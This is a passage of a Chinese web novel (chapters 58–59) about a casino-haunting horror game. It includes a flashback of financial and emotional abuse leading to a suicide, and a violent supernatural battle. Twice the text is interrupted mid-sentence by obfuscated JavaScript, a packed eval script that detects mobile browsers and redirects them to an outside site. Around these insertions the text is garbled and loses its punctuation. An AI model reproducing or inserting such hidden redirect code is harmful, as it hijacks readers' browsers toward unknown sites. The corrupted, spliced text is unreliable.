“秦望舒,我们足足处了五年,如果你对我的信心就这样,咱俩到此为止算了。省得我哪天公司破产,连累你钓不上金龟婿。” 秦望舒眼圈有点红:“别这么说。” 她咬咬牙,跟父母要了点钱,又自己贷了能贷的平台,凑了将近二百万。 “分期利息很高,你一定要按时还我钱啊。”秦望舒千叮咛万嘱咐。 贾旭满口答应。 画面旁白里,他的心声却是:“反正她家有钱,出了事有爹妈兜底。” 果然,正常还了几个月后,贾旭开始拖延还款。 秦望舒一下子还不起钱了。捅了这么大篓子,她不敢跟家里说。 面对秦望舒的哭诉,贾旭只是例行公事地告诉她,这事急不来,得看项目情况。如果她想翻脸,可以去**起诉。 “诉讼期间你还是得还分期,你觉得值就行。”贾旭冷笑。 “你把钱都还我,我要分手……”秦望舒崩溃道。 “分手可以。你去告我,**怎么判我怎么还。我现在还得这么勤,全看咱俩情分。” “哦,你还收过我几百万的礼物。你猜这事爆出去,网上会怎么说,你家会怎么看?” 秦望舒:“我折成钱给你了!” 贾旭:“证据?我大可以说我在A国给你现金,你再线上兑给我。” 秦望舒难以置信地看着他。 那天贾旭运气不错,小赢了一笔。他眼看秦望舒情绪濒临失控,又气定神闲地给她转了钱:“行了,看你那样,活像我真还不起似的。” 秦望舒像是被人打懵了,目光恍惚,嘴唇一个劲哆嗦。 贾旭叹气:“我项目刚刚好起来,你就在这瞎闹,一点风险都不愿意担。你就是不够信任我。” “好了宝贝,以后跟我过日子,你可不能这么畏缩。” 秦望舒沉默了很久。 “对不起。”她说。 第 58 章 飞蛾扑火 第58章飞蛾扑火 【熟悉的眼睛。】 贾旭最喜欢秦望舒“大家闺秀的气质。 她说话温温柔柔的,不吵不闹。只要他态度强硬一点,秦望舒就会老实道歉。 这次也一样。 贾旭知道,她一半是舍不得感情,一半是怕——怕他真的把私事闹上网,怕他真的不再还钱。 说实话,贾旭挺中意这种“怕。这次冲突后,秦望舒乖巧了许多,说话做事小心翼翼,生怕他心情不好拒绝还款。 于是贾旭继续玩“把秦望舒逼到极限再还钱的游戏。 ……你这是在支持我的事业,你又不是没去过我的公司,我会骗你? ……我还钱还多给你利息,只不过时间有点不准,你发什么疯? 为了不被身边人察觉,无论在公司,还是在同居的出租屋,贾旭从来不赌。 他只会谎称加班,开车去自己的房子里赌,还动不动叫狐朋**一起**开趴。 然而某一天,秦望舒偷偷跑去贾旭的公司,咨询了其他合伙人。她发现公司根本没危机,其他合伙人反而对贾旭的工作态度颇有微词。 贾旭见瞒不过,干脆承认**。 ……那又怎么样,我们一起去的拉市,我赢钱的时候你怎么不说? ……作为未来的夫妻,你连最基本的同甘共苦都做不到? 秦望舒无话可说。 如此借借还还一年多,贾旭仍然欠秦望舒四百万左右的款项。 秦望舒变得寡言少语,她不再出门和朋友们旅游消费。空闲时间,她只是抱着她的猫发呆。 贾旭很满意她的状态。 只要秦望舒惹他不开心,他就直接提分手,“你去告我吧五个字屡试不爽。 他知道她不敢分手,不敢起诉,不敢告诉家人—— 秦望舒父母眼中,自己热情体贴、事业有成。他们很快就要结婚了,她的父母对此十分骄傲。 另一方面,自己的资产尽数抵押。就算她把他告上法庭,也没法立刻拿回钱款。反而会闹得人尽皆知,丢尽脸面。 一天天下来,他看着秦望舒大把大把掉头发,看着秦望舒服用精神类药剂,整个人精神恍惚像具空壳。 ……然后他的幸运日再次到来。 那一天,他们合租的房子遭了贼。 盗贼卷走了所有值钱的东西,还杀了秦望舒养了八年的猫。 秦望舒抱着猫的尸体,独自发了很久的呆,随后她疯狂给贾旭打电话。贾旭听着对面神经质的抽泣和悲诉,他只觉得厌烦。 “老天让你遇见我,老天让你的猫倒霉,说明老天看你不顺眼。真受不了就陪猫 一起死少把气往我这撒。” 他无所谓道然后直接挂了电话。 十几分钟后秦望舒从楼顶纵身一跃当场死亡。 贾旭第一时间赶回家删光秦望舒手机里的全部聊天记录毁掉了借条。他在秦父秦母两人面前泪流满面装得悲痛欲绝。 他说他没有照顾好秦望舒不知道她居然办了这么多贷款。 他还钱的流水是“秦望舒哭穷他打钱给她补网贷窟窿”。他借钱的流水变成了“秦望舒自尊心太高执意还钱”。 至于秦望舒最初给他打的那一笔巨款他的说法则是“秦望舒在A国借了他的钱买入大量奢侈品那都是还款”。 秦家父母并没有完全买账。 可惜贾旭的工作光鲜亮丽态度无懈可击。另一方面确实是秦望舒自己办的贷款自己跳的楼。 也许是太过悲痛也许是不想面对太多不堪两位老人最终没有细究。 四百万的债务就这么凭空消失了。 太棒了自己果然很幸运贾旭心想。 …… 一段血债播下来关鹤被膈应得两眼发黑。 连宋铮和小李都看不下去尤其是被欠过钱的小李差点因为言辞过激从潜行的蘑菇变回人。 贾旭本人却没什么反应他取走了兑换的2024枚筹码凑了4000多筹码径直走向**区域。 他很快找到了自己的目标—— 一台头奖1赔80000的**像极了他在拉市玩过的那一款。 站定后他拿出借运骰颇为挑衅地扫视了一圈。不是想跟着我押注吗?我倒要看看 4000多筹码80000的赔率。再赢一次他可以拿到30万以上的筹码。 他可以用这笔巨款放贷不停赚取利息。就算某天运气奇差也可以买**应付犯忌。 借运骰这种倒着扣运气的东西晚用不如早用。 接下来的日子他必须好好控制自己不到万不得已不再使用。 这是他连续第三天使用借运骰也就是说他死前三天都会特别倒霉。只不过死前三天比较倒霉罢了贾旭可以接受。 欢喜鑫天地的项目都不设限额。众人或嫉妒或期待的目光中贾旭把剩下的4000多筹码一口气全押了上去。 借运骰在他的掌心动了动变得冰块一样冰冷。有什么东西从他体内抽走了贾旭打了个哆嗦。 但是没关系。 贾旭热切地盯着面前的**转轮听话地转动依次在“777”三个数字上停下。欢快的音乐响彻一层金色的碎屑漫天炸起闪烁的灯光几乎晃瞎他的眼 。 ……30多万筹码! 周围人尖叫、惊叹口哨声此起彼伏。贾旭长长呼出一口气恍惚之间他仿佛又回到了拉市。 今天的厄运真的只是普通的倒霉。他还能正常使用借运骰他还有运气剩下! 这意味着他最起码也能活到明天! 贾旭转过身朝人群挥舞拳头。黄毛嗷嗷叫着冲上来使劲拍他的背。 “三十多万啊!贾哥我这辈子跟你混——!”黄毛高叫道喉咙几乎破音。 见贾旭没怎么关注他黄毛又提高声音:“贾哥咱俩有缘呐!” “嘿嘿你是不知道弄死那只猫的就是我啊!你看我帮你解决了多大的麻烦……” 贾旭猛地转过头看向满脸堆笑的黄毛。 狂喜瞬间消退短短一瞬他有些毛骨悚然。 ……不哪里不太对劲他想。 “救命——救命啊——!” 下个瞬间服务台那边响起一声尖叫。 一团赤红火球从天而降点燃了刚刚为贾旭办理兑换的工作人员。 她全身起火凄惨地尖叫不止。周围人也不欢呼了全都怔怔看向服务台。欢喜鑫天地意味着绝对的安全之前从没出过这种事! “愣着干什么快灭火!”厚叔高喊。 他的手下们纷纷拿起周围的花瓶和饮料朝那起火的工作人员泼洒。谁知这火怎么都扑不灭工作人员已然抽搐地倒在地上连带着厚实的地毯一同燃烧。 赤红鬼焰遇水不灭。 是方休方休在这里贾旭呆愣愣地想。 可是方休不该在这里。方休今晚明明没有踏入欢喜鑫天地他没有资格! ……该不会方休找到了解厄的办法? ……现在?在他兑完所有筹码的现在? 不行绝对不行。 他必须保护欢喜鑫天地这是他未来的家。他的三十多万筹码还没兑出来服务台不能倒…… “不能用水!”贾旭扯开嗓子“隔绝空气快想办法隔绝空气——” 说着他抬头看向大厅穹顶。可是欢喜鑫天地的灯光太过璀璨他根本什么都看不清。 该死。贾旭咬紧牙关冲向服务台。结果他脚刚踏出去就被一个戴面具的女人绊了个正着。贾旭的脸直接磕上地面鼻血哗地流了出来。 很痛鼻子好像断了。 但眼下这个不重要贾旭跌跌撞撞冲向服务台。他一路推推搡搡连带着撞倒一群赶着灭火的人。 火已经烧到了服务台上贾旭脱掉外衣拼命扑打那些鬼焰。不知为何他每一次扑打都打在了错误的地方 贾旭的后衣领被 一个壮汉揪起直接把他甩离了服务台。 “贾旭运气太差让他离远点。”厚叔冷冰冰地指示“尤其离我们远点。” 贾旭撞开一堆桌椅在地毯上滚了几圈他发现自己被丢回了**区域身上又添了几处撞伤。 “这、这只是巧合!”贾旭抹了把脸上的血嘶哑地叫道“概率不是零!阿清你说说!” 然而阿清站在厚叔身边用一种近乎怜悯的目光看着他。 厚叔转向人群:“上去用身体压!出力大的都有筹码我负责治疗!” 破产者联盟来了精神他们冲向燃烧的服务台用血肉之躯压住那些火焰。 人们一个垒一个积成一座肉山。嗤嗤灼烧声中 大厅之上天窗彼方。 方休垂下眼打量着冒着黑烟的服务器。 几分钟前看完服务器虚空投影的血债他干脆利落地点燃一块桃木扔了个火团下去。 火团顺利引燃机器然而火势没有持续多久就被爬上服务器的人们用身体压灭了——干尸似的人在尖叫的脑髓里打滚那场面十分有冲击力。 方休估算着火焰的燃烧速度微微眯起眼。 见鬼焰被扑灭成松云紧张起来:“小方这是失败了吗?” 她只字不提受伤的贾旭显然被血债气得不轻。 方休没有回答而是掏出所有玉佛。他往上抹好血小心地戴在了脖子上:“成姐你也戴上。” 成松云照做脸上还带着不解。 确认成松云激活了替命玉佛方休拿出尚德宝的尸体。他抓住尸体的头发将那头颅狠狠往天窗上一撞—— 伴随着“咚”的一声闷响不少水泥碎屑从天窗上落下砸向服务台。 人的脑壳怎么可能毁掉天窗白双影刚拿出桃骨煞方休就冲他摇了摇头。 那个人类带着奇妙的笑容紧紧抓着**头狂撞那狭小的天窗。 来自真实的冲击砸向虚幻。 贾旭听着那遥远又奇怪的撞击声眼看着尘屑从天而降。 他抓住紧跟着他的黄毛:“是方休肯定是方休搞的鬼……那是他的鬼焰他肯定在上面搞破坏……” 黄毛:“担心啥他那副样子还能干嘛?” 贾旭却极其紧张:“说不定他找到了解厄的办法!情况不对……万一天花板被他砸坏了……” 嘭!!! 贾旭话音刚落一大块水泥板从天而降当场砸**服务台一位工作人员。 黄毛张口结舌有点微妙地瞥了眼贾旭:“你这乌鸦嘴忒灵了点。” 贾旭挣扎着站起 身:“绝对不能让他破坏这里,我要去见厚叔! 厚叔还不知道方休那股疯劲儿,也不知道方休戴着超级难搞的替命玉佛,他应该早点说出口的。 要阻拦方休,现在的防卫措施远远不够,他们必须立刻采取行动! 贾旭头顶。 成松云呆呆看碎裂的天窗。 不知是年久失修,还是方休用了巧劲儿,方休还真用人脑袋把水泥敲开了——那沾血的破洞不算大,但足以让自己和方休两个瘦子通过。 下方大厅的高度并没有六层楼,而是六米左右。这个高度跳下去,只要注意姿势,不会轻易摔死。 成松云:“你是怎么…… “这得感谢贾旭。透支极大的幸运,要连本带利地还霉运。方休耸了耸肩。 惊天霉运意味着,你所有糟糕的预想都可能变成现实,你想保护的一切必定就此消逝。 就像“同伴的好运,“敌人的厄运同样是非常优秀的武器。 “成姐,一会儿你跟着我往下跳,下去直接开怨鬼盾。方休说。 成松云焦急:“怨鬼盾防的是法术,挡不住那么多人。 “没关系,相信我。 白双影看热闹看够了,晃了晃桃骨煞:“我可以帮忙破坏那东西。 方休干脆道:“不用,我来解决。 说着他拖着残破的身体,直接倒入洞里。成松云紧接着跟上,白双影不解地顿了会儿,跟着钻了过去。 …… 突发火灾,赌场果然乱成一团。 小田绑起头发擦掉口红,面具一扔,再次回归蘑菇小队。四人旁观厚叔气势汹汹救火,看得目瞪口呆。 贾旭不顾护卫阻拦,挤向厚叔的方向,试图说些什么。 小田朝关鹤开口:“唉,你们组搞的吧?可惜没烧起来,再来一把火就好了。 她刚说完,一个身穿红衣的身影从晃眼的灯光中坠落。 方休身下垫着一具尸体,姑且来了个软着陆。他正好落在环形服务台的灯架上,离地面有两米多高。 接着落下来的是成松云。方休用手臂接了她一下,成松云也没怎么受伤。 她一落地,瞬间就开了怨鬼盾。 同一时间,欢喜鑫天地内的灯光变成了可怖的血红。音乐声停止了,取而代之的是通知轮播—— “注意,注意!发现两名非法入侵者,请消灭危险分子。奖励10000筹码/人。 “注意,注意!发现两名非法入侵者,请消灭危险分子。奖励10000筹码/人。 “注意,注意!发现两名非法入侵者,请消灭危险分子。奖励10000筹码/人。 于此同时,厚叔的声音 穿透通知:“我额外加一倍奖励,都给我上! 关鹤刚打算冲出去帮方休,就被宋铮拉住:“别过去,没问题的。 “你的任务是好好待着,保护自己。 混乱之中,方休露出微笑。 原来从“安全出口突入这里,看到的依旧是真实。他看见无数祭品朝他们的方向奔腾而来,蚂蚁球一样踩踏彼此,攀爬沾满脑髓的服务器。 方休单手按在机箱上,再次引燃了鬼焰。 成松云的怨鬼盾罩住两人,将法术火焰和热度隔绝在外。 白双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705289|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影飘在半空,静静看着一切。 刹那间,更多火焰四散开来。无论是服务器表面的邪祟,还是靠得太近的祭品,他们全部被赤红的火焰引燃。 血肉被烤得噼噼啪啪作响,焦糊味钻入鼻腔,可这些人像是感觉不到痛似的,依旧一个劲儿往两人的方向挤。 稍远处,无数法术从法器中射出,暴雨一样打在怨鬼盾上。 服务器仿佛变成了一个方方正正的黑蜡烛,方休则是不灭的烛焰。疯狂的人形蛾子扑来,烧焦,随后坠落。 黑烟滚滚,庞大的服务器柜逐渐变形,其上的红灯熄灭大半,连顶上的“∞形光圈也变得浅淡。 那些脑髓倒是和人类齐心协力,它们同样聚在一起,试图扑灭火焰。可惜面对方休持续不停地引火,它们只能在尖叫中消逝。 熊熊大火中,贾旭终于挤到了厚叔身边,他摔断的鼻子肿得老高,声音瓮声瓮气的。 “那是怨鬼盾,克法术,必须用强物理攻击—— 发现服务台烧坏大半,他疯狂比划,急得满头是汗。 厚叔斜了他一眼,下令:“停住法术,上弓箭和枪! 人们纷纷翻出了自己的物理支援,登时弓箭射出,**齐鸣,甚至有人努力丢出暗器。 贾旭连忙伸头去看。不知道为什么,那些攻击总会击中攀爬服务台的队友,就是打不中那个诡异的盾。 厚叔看向贾旭的目光越发不善。 他瞧了眼贾旭的借运骰,冲打手使了个眼色。后者无声地接近贾旭,手伸向他的脖子—— 贾旭拔腿就逃。 “不是我的错!我今天借了运!我今天死不了! 贾旭干脆自己挤向服务台,声音里仿佛带着血,“我会阻止他,你们等着瞧! 黑烟越来越浓,蛋白质烧焦的味道让人难以忍受。 台子上已经烧**不少人,焦尸化作阶梯,后面的人攀爬得越来越容易。贾旭跌跌撞撞地爬上服务台顶部,正看到有人举着金属戒尺,朝那怨鬼盾猛打。 成松云一条胳膊被打断,意识有点涣散,怨鬼盾变为半透明。只见方 休拖动身躯,将成松云护在身下。 这个袭击者像是没有痛觉,他的一半身体烧得皮开肉绽,但仍然撑着不倒。此人瞪着一双血红的眼,戒尺准确地打上方休的头和脊椎。 方休满头是血,脊背血肉模糊。 混乱之中,贾旭听到了玉佛碎裂的啪嚓声响。 尽管方休努力维持火势,涌上来的疯子却越来越多。他们拿出法器各显神通,冲那个红T身影拳打脚踢。 “对对对,就这么打!继续打! 贾旭被烟呛得咳嗽几声,沙哑着嗓子吼道,半走半爬地冲向前。周围烈火燃烧,贾旭皮肤上鼓起大量水泡,可他仿佛感受不到疼痛。 他满眼都是方休的伤口。 只要耗光方休的玉佛就没事了。这地方就这么大,方休身体残缺,就算隐藏也跑不掉。 他还是幸运的。方休眼看又要失去一条命,而他——他顺利地走到了这里! 可恶,明明是最需要黄毛战斗力的时候,黄毛居然不跟他一起来。等他回去,绝不会再给那小子好脸色。 “快点打! 贾旭咆哮着,继续朝前冲。 他跨过火焰,踏过焦尸,也掠过了隐藏身形的白双影。 白双影无视这只尖叫的蝼蚁,他仍漂浮在半空,无声地观察着。 方休确实不需要他来破坏欢喜厄。照这个燃烧速度,方休玉佛耗尽前,欢喜厄会被他烧毁。 但这仍然是一步险棋。 解厄之后,真实会暴露于众人之前。 据白双影对人类的了解,他们非但不会感激,还会努力杀掉方休泄愤。就算方休可以立刻要求回归塔内,还是会有被重伤的风险…… 白双影定定望着方休。 鲜血濡湿的刘海下,他能看到方休的眼。烈火与剧痛之中,那双眼睛微微弯起。 方休在笑,黑瞳愉快而明亮,又是那种刀尖一样的眼神。 看着淋漓的鲜血与黑烟,白双影想起来了。 百年之间,他确实见过这样的眼神……只是那眼神的主人并不是方休。 那人同样很瘦,他遍体鳞伤,破旧的衣衫被血液浸透。他带着一把奇怪的**,闯进了自己的封印地。 白双影知道,这个人快要死去了,可是他在笑,一双眼亮亮的。 “■■■,我听我奶奶讲过你…… 他跌跌撞撞地前进,沙哑地嚷嚷,“你看心情实现愿望,还要拿走人命当祭品,凶得很咧…… 啊,又一个记得他的人类,又一条需要斩断的因果。 白双影没有任何表示,只是静静倾听他的祈求。 那人一步一个血脚印,往封印地深处走去。他与其说是祈求,不如说是在自言自语 ,给自己找点安慰。 “■■■,你要是真在这儿,帮我把引来的人困死吧。” 他迷迷糊糊地嘟囔道,“我引了好些人……我知道进了这儿很难活着出去,但万一逃掉一两个,我心不安呐……你把他们都弄死……” “都是些血债累累的恶鬼……奶奶说你们就喜欢这种……” 终于,他走不动了,找了棵树坐下。血流得太多,他的呼吸变得又浅又急促。 他身后不远处,确实跟着一伙人。白双影听不懂他们的语言,看打扮,那大抵是些异邦士兵。 白双影觉得这买卖不错。 虽说他被封印着无法动弹,但这些人是自己送到他嘴边儿的。他就张嘴偷吃一口,地府应该发现不了。 于是他以行动回答了那个人类。 异邦士兵哇哇叫着冲过来时,地面陡然变软,沼泽将一众人瞬间吞没。那个人类没有骗他,这些人的生魂确实血债累累,美味无比。 彼时,那人奄奄一息。就算见到这样的异象,他只是掀掀眼皮,咳嗽着笑了两声。 白双影从封印里窥视了那人一会儿,投去一缕思绪:【为何不让我救你?】 “救有啥用,我自个儿哪杀得了这么多……” 那人咕哝着,意识已然模糊,“老子一条命换这么多畜生……值了……嘿……” 他摸摸那把粗糙的**,眼里没了焦距,但依旧很亮。 “这样……就赢咯……” 那人最后的眼神,和现在的方休一模一样。 和方休不一样的是,那人生魂的功德太亮。于是白双影没碰那个人类的生魂,只是目送他离去。 当时白双影不理解那个眼神的意义。如今他也不理解,但他明白一件事。 方休也许不是个唯利是图的幽冥**,他想。 ……因为那不是**的眼神,那是一个战士的眼神。 鬼焰燃烧的杂音中,登时传出一阵爆裂声响。 六十四条锁链应声而断。 第 59 章 灰烬之中 第59章灰烬之中 【首次附身。】 一条锁链断裂,是一丝喘息。 八条锁链断裂,是一阵放松。 六十四条锁链断裂,有什么切切实实地改变了。就像沉睡中的人,醒来前睫毛微颤。 原来如此,白双影心想。他的封印与方休本人的意志无关,只是他多看透这个人类一分,封印就会松动一分。 方休只是个普通人类,他凭什么撼动万千因果的封印? ……就让他再靠近一些吧。 下个瞬间,白双影化作本体,涌向鲜血淋漓的方休。 祭品奋不顾身地灭火,方休片刻不停地点火。鬼焰灼灼,服务器亮着的红灯越来越少。 光影间隙,方休耳朵盛满尖锐的耳鸣。 成松云焦急地叫着什么,远处厚叔高声指令什么,方休统统听不清。他仿佛被冻在湖水下,所有声音隔着一层厚厚的冰。 方休只剩一条胳膊一条腿,很难灵活调整姿势,只能硬撑攻击。祭品身上的恶臭和烧焦的尸臭混在一起,再裹上服务器燃烧的黑烟,他几乎无法呼吸。 鲜血染红了他的双眼,方休转动红色的视野,余光看着燃烧的火焰。 一切都很顺利。 祭品吵闹无所谓,剧痛眩晕也无所谓。此时此刻,方休知道自己真正的敌人是谁。 ……他只在意那些火焰。 突然,有什么冰冷的东西覆住了他。方休还没来得及反应,那东西便直接钻入了他的口腔、鼻腔与耳孔。 一瞬间,方休有种溺水般的痛苦。 异物入侵让他的喉咙抽搐不止,想要呕吐。可那东西钻得迅速而用力,它涌进了他的身体,渗入他的内脏和血肉,散出奇怪的冰寒。 方休只觉得全身发麻,他仿佛被大手塞满的真皮手套,有种即将爆裂的酸胀。遍布全身的剧痛消解,短暂的冰寒之后,他的五脏六腑如同在燃烧—— 冰冷到极致,人反而会产生被烫伤的错觉。 是白双影,但这次他没有将自己淹没,而是彻彻底底地入侵……或者说,浸泡? 只不过这一次,白双影的目的恐怕不仅仅是“止痛”。 方休左臂和左腿的断口处一阵麻痒,猛地探出新的肢体。新的手臂肌肤雪白,手掌优雅漂亮,那是白双影的手……腿也一样,比方休自己的要长些。 血淋淋的身体接上干净的新肢体,协调中带着古怪的违和。 然而下一刻,他皮肤上的血迹开始消失,如同被皮肤吸收吞噬。汗水干涸,污渍化为粉尘飘落。 戒尺再次打下,他的左臂自行活动,一把握住了戒尺法器。伴随着令人牙酸的 挤压声响,那戒尺竟然被生生捏成碎末。 方休的新左腿也不听指挥,几乎是强行拽他站了起来,俯视还在冲向火焰的“人形飞蛾”。 那只左手凭空一挥,召出了花瓣飘飘的桃骨煞。尸块与黑烟中,这抹白色显得异常刺目。 方休忍着那异样的鼓胀感,咳嗽两声:“白双影……” 【不要浪费时间,你承受不住我的附身。最多一炷香,你的身体就会崩溃。】白双影的声音直接在他脑海中响起,像羽毛尖儿扫过脑髓。 【为什么?】方休用思绪回应。 【我说过,作为我的朋友,你不能随便向废物低头。】 【倘若你一定要承受死亡风险,那就承受我给你的风险,站着死。】 方休安静了足足五六秒。 最后,他在火光中抬起眼睛,眼睛盛满纯粹的笑意。 “好。”他说。 不属于他的左手执起桃骨煞,属于他的右手轻轻覆上左手。刹那之间,原本平常的鬼焰涨到三尺高,火舌吐出无数金红的火花。 仿佛在地上绽放的焰火。 很美,方休心想。也许比阳间一日的焰火还要美丽。 考虑到自己的计划,方休确实不愿意让白双影插手解厄。提前说好“不许攻击”,他原以为他的鬼会老实旁观。 方休少见地猜错了。 他原以为自己会狼狈地终结这一切,可他现在挺直脊背站在这里。 不知道是因为附身、虚弱还是其他,方休的心脏跳得很快。与此同时,白双影的本体在他的血肉里奔涌搏动,渗入每一根血管和神经,像是一颗更加巨大的心脏。 ……支撑他前进的另一颗心脏。 火花飞舞中,方休掌心按了按胸口。多么惊喜,他得到的比预期的还要多。 可是还不够,他还想要更多。 这可怎么办呢? …… 蘑菇三人组早拉着关鹤躲在了墙角。小李再次放大核舟,四个人直接挤进船舱。木雕船夫目瞪口呆地看着漫天火光,张嘴就是古韵风华。 “没水就算了,你**还搞火!老子我可是木头!……叫你搞火,叫你搞火!” 它用船桨疯狂抽打小李,小李自知理亏,抱头缩在船舱角落装死。 船舱内的木和尚叹了口气,转动佛珠。桃木舟周遭升起一层薄薄的水膜,隔绝了炎热与烟尘。 宋铮在船舱门口站了半天,扭头瞧关鹤:“你们组这么猛的吗?” 关鹤无法回答,他从没见过方休这副模样—— 方休身体一侧长出了异质的腿脚。他右眼纯黑,左眼却变成了纯粹的白色,眼下还冒出了一点血痣。 他身上的血渍和污垢消失了,稍 长的发丝被热风鼓动。他的脚边损毁的服务台上血红火焰疯狂摇曳如同拥有生命。 烈焰组成了一道壮观无比的火墙。它们猛地炸开围上来的人将堆积的尸骸烧成飞烟。 五花八门的攻击发动各种武器暴雨般指向方休。然而无论是法器还是法术全都被火焰吞噬殆尽。 一切发生得太快了。 那只左手只是稍稍抬起桃骨煞火焰便长龙一般升空而起燃向四方。 贾旭被火焰烧伤疼得满脸是泪。他还在声嘶力竭地叫人去攻击方休声音哑得吓人。 “那不是胡乱破坏——他肯定找到了解厄的法子——” “别看热闹了快点保护欢喜鑫天地——” “这样下去会出大事——” 伴随着他泣血般的嘶吼奢华的欢喜鑫天地闪烁不止不时露出一片片衰败的异象就像游戏显示出现了错误。 赌场循环播放的警告发生了卡顿变成了意味不明的刺耳语音。美丽的服务人员们原地融化哗啦一下散作鲜艳的液体继而消失在地毯下。 那些不屑于卖命的筹码大户们终于尖叫起来本能地往厚叔那边挤。 关鹤在人群中发现了黄毛。 黄毛并没有学贾旭扑火他十分鸡贼地躲在后面看热闹。结果人潮这么一涌 他这么一晕倒身体瞬间绊倒后来者。人们多米勒骨牌一样倒下要不是厚叔身边保镖够壮连厚叔都要摔个狗吃屎。 厄运的阴云笼罩着所有人。 厚叔试图维持秩序。然而他的声音总被“恰好响起”的坍塌盖过他的部下也因为环境的闪烁变得晕头转向。 发现扑火的人烧得尸骨无存前线也陷入了一片混乱。没人愿意往前冲反而拼命朝后躲避又造成疯狂踩踏。 混沌与惊恐之中只有火在烧烧得越来越快烧得越来越烈。 环形服务台失去了光彩烧得彻底变形里面一个工作人员都不剩。各种各样的筹码洒了一地上面的数字疯狂乱转无声地尖叫着。 关鹤震撼的目光中方休右手抓住了左手嘴唇轻轻贴上拇指指节。 很难说那姿态是施术是祈求还是宣告胜利。 ……下一刻万物沉入黑暗。 不不是黑暗。只是强光消失得太突然眼睛没能适应。此处还有月光月光不亮但足以让人看清周遭的状况。 关鹤忍不住多看了两眼从周围衣衫褴褛的祭品看到满地铺陈的尸骸从漂浮着蛆皮的人血“米汤”看到瓜果篮里的**内脏。 三只蘑菇也在迅速观察表情迅速变成铁青色。 几秒后在船夫惊恐的唾骂声中四位乘客嗷地吐在了船上。 …… 十几米外贾旭没有心思呕吐。他双手冰凉心脏几乎停跳。 他看见方休站在一堆烧熔的服务器上。鬼焰平静地燃烧烧焦的脑髓里机械的废墟中只剩屈指可数的几点红灯。 ……贾旭大概能猜到那是什么。 ……欢喜厄已经没救了。 环境的样子很奇怪方休的模样很诡异。但这些信息水一般流过他的脑子没留下任何痕迹。 因为他的大脑一半尖叫着“一切都完了”另一半则尖叫着“我还不想死”。 对了对了。方休在解厄等这堆东西彻底停止运转他还能安全回塔。 他们是绑定的队友他活着还有用方休不会杀了他。方休是个很理性的人他还有机会……他很幸运他最擅长绝处逢生…… 贾旭手脚并用半走半爬到方休面前:“干、干得漂亮!” 方休静静地看着他只有黑色的右眼正常眨动。月色之下那只白色的左眼让人分外胆寒。 “你有话跟我说。”方休用的是肯定句。 桃骨煞轻轻摇晃几道火墙再次竖起将其余人隔离在外。方休的指示下成松云仍然竖着怨鬼盾没有一丝放松。 贾旭声音在抖但他努力挤出自信的语调:“我之前跟着厚叔也是想帮你调查来着。这叫打入敌人内部……今天开场前我还在邀请你支持你……” “今晚的事情我都看见了”方休微笑“包括你兑换的血债。” 贾旭噎住片刻他舔舔干裂的嘴唇语调有点紧张:“方休你说这话就没意思了。” “我承认我今晚有些上头 “再再再说我兑光全部因果赢的三十多万筹码全被你毁了……我们扯平了不是吗?” 欢喜厄的红灯又熄灭几点只剩零星的三四处红光。 贾旭一只手伸向方休脸上挂着“大事化小小事化了”的风轻云淡可他的手在哆嗦。 “你要是还在意刚才的事我正式跟你道歉。对不起真的对不起。” “我只是犯了糊涂人之常情……你还用得上我我发誓绝对服从你行不行?” 异瞳的方休歪过脑袋:“唔我确实有事想要问你。” “你尽管问!”贾旭面上一喜。 “血债里你在自己的房子里聚众**。我看到一个戴青玉挂坠的年轻男人你还有印象吗?” 方休指指自己的胸口“他一般把挂坠戴在衣服里偶尔露出过几次。” 怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“之前我帮你探过鬼宅,我帮你稳过老金。我、我是态度不好,我保证会改……求你了,求你了…… 方休没回答。 他伸出右手,食指和中指点上贾旭的额头,逐渐增加了力量。贾旭茫然地看着方休,身体缓缓失去平衡。 他下意识朝后一扶,却什么都没有扶到。 身体歪向楼外高空,贾旭吓得手脚乱舞。坠落前夕,他勉强抓住楼层边沿,抠得十根指头血肉模糊。 贾旭想再爬上来,身体却使不上力气——这几天的餐食并不能保证他的体力,他口中全是腐肉的臭味。 “你要是杀了我,其他人会怕你,肯定会怕你…… 贾旭的声音哑得不像人类,他徒劳地弯曲手臂,“救命,救救我方休。我不能死在这,马上就要解厄了……我要回去,我要回去,我不想死…… “我也有我的难处。 方休叹了口气,例行公事地说道。 “……没法接受的话,你去告我吧。 欢喜厄彻底毁灭的前一刻,方休引出一丛火花,点燃了贾旭的十指。他的背后阴风呼啸,欢喜厄彻底破灭。 可惜贾旭没来得及看到。 只是刹那,楼下传来“咚”的一声闷响。 此刻,正值凌晨00:00:01。 解厄成功,欢喜厄的因果海啸般掠过方休的脑海。 它**数不清的因果,却像极了一盘散沙。那些因果甚至组不成连贯的脉络,只能带来一阵强烈却无趣的眩晕。 无论是厄还是人,终究浅薄又空虚。 …… 因果沾过一遭,方休使劲甩甩脑袋。 “消灾解厄,百邪不侵——祭祀已成,我等且引诸位归塔——” 两道尖细的声音刺入他的耳朵,众人身上瞬间浮出一层金光。 纸人奠二和“公寓前台”奠五一左一右,从天而降。 纸人奠二还没来得及开口,奠五呜呜大哭起来。 它五只眼睛狂喷泪水,一路跑到欢喜厄的废墟上狂跳不止,边踩边骂,并在骂声中夹杂几句对于假期的强烈向往。 奠二:“……” 奠二走到方休面前,讨好地搓搓手:“哎呦,又是您呀。” 它盯着方休一黑一白两只眼,面上毫不吃惊,仿佛没有察觉任何异常。 方休没有理会它,而是看向四周——有了地府的“百邪不侵”,祭品们可以穿越他的火墙。他必须警惕可能的报复,尤其是厚叔的报复。 然而十几秒过去,外面平静得有点不对劲。方休忍不住解开火墙,查探四周。 一看他露面,不少人高声咒骂起来。他们眼球和疯狗一样外突,精神状态十分堪忧。然而这些人全倒在地上,脚边一摊血泊。 